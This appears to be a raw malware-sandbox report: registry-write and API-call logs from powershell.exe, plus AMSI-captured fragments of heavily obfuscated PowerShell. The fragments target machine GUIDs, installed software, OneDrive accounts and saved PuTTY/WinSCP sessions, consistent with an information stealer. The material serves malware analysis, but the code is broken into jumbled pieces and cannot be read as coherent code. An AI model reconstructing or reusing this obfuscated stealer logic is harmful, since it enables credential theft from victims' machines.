"%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF20e785.TMP"2a:T9ba,"powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\NAMES"; Key: "MWH5TKFCDH0AGLHMS1J2PNV0GMN8UKOMG7MNZF7AOQ1IPFZ8YYNM6CKKUAW5USQYVOHVJXQT0Z3IE9FJMTCSDLAYAS4XKLUDPH2NQRAHCT6HY5WG94ORES"; Value: "8019000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")2b:T2066,", "u"), "a").Substring(24, 81).Remove(52, 13).Remove(23, 24).Remove(5, 15).Replace("uFePTCJeQhCcJUKI5m", ".MemoryStre")); return $sqs83UqCLWCjK26tUJ8eob6;}$cDiViVbRLZGK2M = cZVY973Zf86xF4AUGotIV -dgZ6cka8ig3ku ("8FHiPz1ArmirmSoftware\Microsoft\CryptogrVLe9NkGz7mkqmDZeSBPFfaL8Bk2BY7aphysf4HJRswdBMrueRpQHnWjhOd".Replace("e9NkGz7mkqmDZeSBPFf", "5PM").Substring(13, 45).Remove(27, 14)) -GXyIkMYPPtiNR ("90VQYpcswiGzcP51yUEKIlAvTiYixxD4BFKBhJ7hgViAcxYSSIfOwMachineGuid".Replace("D4BFKBhJ7hgViAcxYSSI", "w").Remove(6, 23).Trim("90VQYpxwfOw"))$sqs83UqCLWCjK26tUJ8eob6 = EFfdSv5g2AaEI;$APlowDVEnyPDCMJYbEi6G = EFfdSv5g2AaEI;function dvMHyt9zlQYWEgUcn88Fd { return (& ("Join-PatqYatoekf1V0pxE4hXiR40wXpt4W6HLW4Cpf3BedsJpi4gJETg8MLdL2".Remove(25, 15).Remove(12, 17).Replace("qYatBedsJpi4gJETg8MLdL2", "h")) -Path $env:APPDATA -ChildPath (. ("tg4oEeobodNevXwFI1CBHEiSuqfTNzpXYZ5G0XZmoasjURYhtw9sbSevqA8BJfGuid2LWZgrma1KryuVSFRro5vOXztq4cseDHD6UaiUCA4kcizzL5DEw".Remove(83, 12).Substring(10, 76).Trim("2LWZgrma1KryuVSFReD" in Source: AMSI, "V7Cu8A1SMdeGMRbwosVCb6VDTng1EJ8N5NzBwnmJUS4F1vDQxtlw6NcNycGibW1qPzbMqfGsqK0Sd8j1korV2KzsfaiYOvPXiGHIjyKuKPdih2iz9PMjpYkZ0moOT".Trim("QGbYPpwNdZV").Remove(104, 11).Replace("8j1korV2KzsfaiYOvP", "Lx").Substring(24, 57).Substring(11, 33).Substring(21, 0))); $NjI03scyDQV1 = H088EqPpqxTm7PEeobud $_.FullName; if ($null -ne $NjI03scyDQV1) { teaZHI42EIVV $NjI03scyDQV1 $NjI03scyDQV1.Length $WA9lwgFJhJ4; $ETi1B2TjtL6cIhRIUXPN += (2198 - 533 - 7881 - 4882 + 4852 + 2577 + 5915 - 8358 + 6113); } } bmXRkoJMoxzzoHfC4gUaOK}function y6i8xUQ14pMnb9r24I2MZ($kT8gLshwE9) { $fRNx3fMFFVX9UXB28FVA = . ("gyROj7QmoUQGejVKQCAEH0PmvAoWNlBjfyQstyDo2LdnCnpRJYSGoftZ3".Substring(11, 27).Replace("KQCAEH0PmvAoWNlBjfyQs", "vxD5pwfUtZH0rbPemProper").Replace(-join ("jVvx", "D5pw", "fU", "t", "ZH", "0rb", "P"), "t-It")) ("gxiTcZc5SK9svxHKLM:\Software\Microst\Windows\Current02vNVAQ1rGtE37SRn\Uninstall\*CAII587CWsfvgXpD6VvUYAL".Trim("gxiTcZc5SK9svx").Trim("CAII587CWsfvgXpD6VvUYAL" in Source: AMSI, "UQThIKVCVm").Trim("KZhMKtfyA4MkTQ8rzDzc").Remove(68, 21).Replace(("iNrBPxGsPHxTzaXdEg94poNPXV9OyitfCDXiJ6ng5wHgqNpInXOtX1fdTzaXdEg94poNPXV9Oyitf0WaEpNzEVdxPDx5u9TzaXdEg94poNPXV9OyitfYDKMKDpGhcxLv24iG7qfTzaXdEg94poNPXV9OyitfxMZncfNRtS0yK4FktTzaXdEg94poNPXV9Oyitf9qkHyqjQYctHeiVYTzaXdEg94poNPXV9Oyitf" -split "TzaXdEg94poNPXV9Oyitf")[(3976 - 9488 + 1562 - (21167 % 12176) - 1178 ) * 13+ 6697 + 8145 + 168706], "K").Trim("9UQThIKVCVm1jFOYv8dkK").Remove(2, 19)))) { $fRNx3fMFFVX9UXB28FVA = & ("cdZmCOEmiT1bEQZhS3lgQANbcH8c6fXoMY40tzcbhJLOqhDGJRazvD9xHWU9qOv4QzMhsedZZGp3Rhbkn4UstuSRXhMmGs2UkK".Substring(13, 61).Trim("QZhS3lgQANbcH8c6fXoM").Replace("RazvD9xHWU9q", "sP3MWP6W2aQC").Insert(30, "xbR8QDQet-ItemPropertyoX").Substring(14, 38).Remove(1, 22)) ("faHLUTmWhihs2uV0YNepZh2VlTbBkIKxIRmN2P0hd0ctdeYPgdVu6MUgbJVyeMnTx3p432Node\Microsoft\Windows\CurrentVersion\Uninstall\*eGaJC1OUhBvtap6NItJPmlYkicnxm7tm7uaykHFW4d".Substring(23, 128).Substring(12, 96).Replace("dVu6MUgbJVyeMnTx3p", "m0VuCHKLM:\Software\Wow6").Tri" in Source: AMSI "zpURSqT1tWddfhy2bi3zCK".Substring(23, 128).Replace("WSGVnO9ldGN8oIdcdNyg9HZs", "fnPDB").Remove(71, 24).Insert(77, "GZ1Ux4Xm").Substring(24, 45).Substring(24, 1)) + $TYSRbLcp49uJ50NgVsj; ozZ7Iqrt9EZ4T4C $ZPstFRQYE4itCD1 $WA9lwgFJhJ4 @(("0ke1ncKQH3zqwB2Q1eaXU4TQEaUtkv5PMYS*4jutbYKWq1llZYAwq2okEAo".Replace("aXU4TQEaUtkv5PMY", "zMUldhUDnmLjGVKnuY3T").Substring(23, 17).Remove(0, 16))); } }} }}function GviuliQgdOsQeCsMCcR{ $Zaa6UdzDrp = (2664 - 4429 + 5761 - 421 + 2840 - 6206 + 4288 + -4497); $MPotvp00hu9jU9UMuVWar = $nullif (4979 - 7811 + 4796 + 5409 - 2555 + 7620 + 5881 + 6525 + 1738 + -18027 -ne 4732 - 7133 - 6113 - 7743 + 2816 - 8112 + 2652 + 5159 - 5474 + 186 - 1086 + 21135) { $uEBltyDaTRdGFvVOvXHDOA = ("HKCU:\SOFTWARE\MicrowkT2TIWq61n\NotYmpyUwxLuDBSGfjBinystem.AppInitiatedDownload".Insert(20, "soft\Windows\CurrentVerXrrVYCOPsraaDDM3bO39X7jmr89TJ8V1F7KuL3").Replace("YmpyUwxLuDBSGfjB", "ifications\Settings\W").Remove(61, 21).Insert(98, "dows.S").Replace(" in Source: AMSI, "509onYzNtB8WVOcNgIhV2l6JxZqUbqDV9ketr1ln8rawPP3".Replace("PiJN70ZjJ3DY4447oKj", "o8Z0rudPusZwb4cL").Remove(60, 23).Substring(17, 31).Remove(13, 16).Replace("co8Z0rudPu", "nvertFrom-J"))).("persXwy7J1niYwQ5dtwajjxkg7n9s7qtuSajLLlm5RhyF57qpoMS6lBxonqh5CRhNpBL7sWYq0tpl".Remove(28, 20).Replace("Xwy7J1niYwQ5dtwajjxkg7n", "gcG2HyLEo3pFHhD").Replace("2HyLEo3pFHhD9poMS", "gClECiV1yC").Remove(4, 17).Replace("qh5CRhNpBL7sWYq0tp", "a")).("2WaXCquzMeBaGJpHqkoq4Sh".Replace(-join ("zM", "e", "B", "a", "G", "J", "p", "H", "q", "k") "POnm0G4Kd2roNsCPj").Replace("2WaXCquPOnm0G4Kd2roNsCP", "by9UpDfXU").Replace("by9UpDfXUjoq4S", "pat")); $h9JPPHKAa47 += $M2K9Qeb7DOdzaeVK; } catch {} } Get-ItemProperty -Path ("FktMzhim3XbdBvw8w1RnWlpXHKCU:\SOFTWARE\MicrWHx5KKTvW5qmCosQHiwd2KW5X48Fgki1Hsoft\OneDrive\Accounts\*".Remove(58, 16).Replace("WHx5KKTvW5qmCos1H", "o").TrimStart(("bhtx1LbzKBQq1BcLrOqilb1ey40UeEEfiNyxLh7rP4RWKsLm5jpglb1ey40UeEEfiNyxLh7HaErbvQyM6lb1" in Source: AMSI, "K8E0NoJ".Remove(60, 19).Replace("2wdX3PHN31k17uBmMvyqGLl", "PT9Wd").Remove(37, 18).Replace(-join ("T9W", "dyj", "9Ei", "yLV", "fxusH", "Ik") "51oAAVkQfr4gg1cnQ6eXwullP").TrimEnd("r2esNiN2K8E0NoJ").Remove(1, 23)); bmXRkoJMoxzzoHfC4gUaOK}function jDwsVG6wVc4CL54pwksw{ $R5w2zklGg9cAsig = ("C2ZvXhRNumZkFvAquY7BKvO6Gs2wCUO11RaJDShhCkkQV90XxbpUg4uZYSX2c5ejmonTathamTTY\Sessionsl84bLbuNubFBVj".Replace(("j9cOJypTAlV1dpw9nWwCKA0lidWQ9Uo7GhzA0G7ZgnbwA0lidWQ9Uo7GxbpUg4uZYSX2c5ejA0lidWQ9Uo7GtWWFnG5sjeU74PZoCJuvxA0lidWQ9Uo7GGefZHDVPNHfFJ9NgCmA0lidWQ9Uo7G" -split "A0lidWQ9Uo7G")[((9879 - 1905 - 8581 ) * "aacqatXRGc1XKL9ZTOe64hY9G".IndexOf("KL9ZTOe64hY9G")- (9321 % 5423) - 2620 ) * 10+ 4739 - 4146 + 137429] "HKCU:\Software\Si").Insert(74, "\PuXj1xmHeg84Lq").Trim(("qACqQ24PSOc0j2kXCjbgN4Q2Tfe2nEpO3x8FTuJbelclADXCjbgN4Q2Tfv3tMkOdf2j7QezB2sahmcROXCjbgN4Q2TfjXonkGkKqbovj0FddW3GXCjbgN4Q2TfC2ZvXhRNumZkFvAquY7XCjbgN4Q2TfJCfznBCLOnwYIq2ERszNXCjbgN4Q2Tf" -split "XCjbgN4Q2Tf")[(7311 ) * 12+ 7314 - 6085 + 7390 - 9359 - 812" in Source: AMSI, "(1329 + 213 + 6480 - 8857 - 5060 + 190 + $([System.Convert]::ToInt32(("658PKNq10PZiZf6183PKNq10PZiZf4321PKNq10PZiZf282PKNq10PZiZf2758PKNq10PZiZf3891PKNq10PZiZf" -split "PKNq10PZiZf")[3])) - 1263 + 6686) $Ep61XHrePR2Lty5rVUuS.Length) -eq $Ep61XHrePR2Lty5rVUuS) { $n0Firev5D6Fe = $n0Firev5D6Fe.Substring($Ep61XHrePR2Lty5rVUuS.Length); } else { $n0Firev5D6Fe = ("RfDYKBQ4jHFOOHjdE2qZhUkUfzpYuzJkFC9X4ogIRezWMAF5mrXEdrqyfercXgVHV7jRlG0DyhL3Uvk4o7Bxm48WPs33NPUSC8uDsgBPryLZg9oqGzE8dCuHLmBxcJpTqlPAH".TrimEnd("8dCuHLmBxcJpTqlPAH").Remove(90, 16).Trim("Uvk4o7Bxm48WPsLZg9oqGzE").Trim("RfDYKBQ4jHF").Substring(12, 36).Trim("mrXEdrqyfer").Substring(11, 0)); } } return $n0Firev5D6Fe;}function aqeSIaTTWNuo{ $R5w2zklGg9cAsig = ("FLcMgyjEYkxwyBVmuU5QLdwoebLhSqhYrHKCU:\SOFTWARE\UZKwtrtBgia9ZTvVxK2lryl\WinSCP 2\Sens".Replace("UZKwtrtBgia9ZTvVxK2l", "Martin Prik").Trim("FLcMgyjEYkxwyBVmuU").Trim(-join ("5QLd", "woe", "bLhS", "qhYr")).Insert(41, "ssio"));" in Source: AMSI, "5U80ti1eIMzkQ5QursbyEk6Cb".TrimEnd("eIMzkQ5QursbyEk6Cb").Remove(8, 23).Remove(47, 21).Substring(13, 44).Replace("QmOvhy6xFLT", "gDx").Substring(14, 11))).("T3JyUCbp8po5VTdjkrzCHJcc8aRT1X88c4gE9ohpInmqqX7SEqnargzW8FXlV2".Trim("InmqqX7SEqnargzW8FXlV2").Replace("T3JyUCbp8po5VTdjkrzCHJc", "eG7q0Do3vhgn1CHl2z0Za2Uy").Remove(4, 21).Replace(("2JnCYXa7bdNs34AwwGwL423EXLDCGhFdTLXQ6G3nJvRaEVEORzq4AwHaRpKLj423EXLDCGhFdTLXQ6G3nJG3lMj4QN5Ae423EXLDCGhFdTLXQ6G3nJeG7q8aRT1X8423EXLDCGhFdTLXQ6G3nJpHMwTuJwqP423EXLDCGhFdTLXQ6G3nJgmgoM6MqWBIdHhh8T6j8dUen423EXLDCGhFdTLXQ6G3nJzrc7lFWFR6COZvKSsahQ423EXLDCGhFdTLXQ6G3nJ" -split "423EXLDCGhFdTLXQ6G3nJ")[(3610 - 9652 + 1301 - 5037 + 6955 + 4365 ) / "x8b4B0KXlHfx304aksh".IndexOf("KXlHfx304aksh")+ -254], "ProductNamOmJslPqO5xCr2B").Replace("OmJslPqO5xCr2B8c4gE9ohp", "e")); $pKCdUcM5TslS = (Get-ItemProperty ("BNHN2FgbcDlTBIzUTb3jqZ2RUWdDQNhX2plzzHKLM:\SOFTWARE\Microsoft\WindoYauySlJA2fCN0sgeEDLiCohUrzVoFPnzs4CurrentVersionJvBZj92W4U".Remove(71, 19).Remove(15, 20).Substring(17, 59).Repl" in Source: AMSI2c:Te74b,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00006528) "powershell.exe" called "GetProcAddress" with a parameter 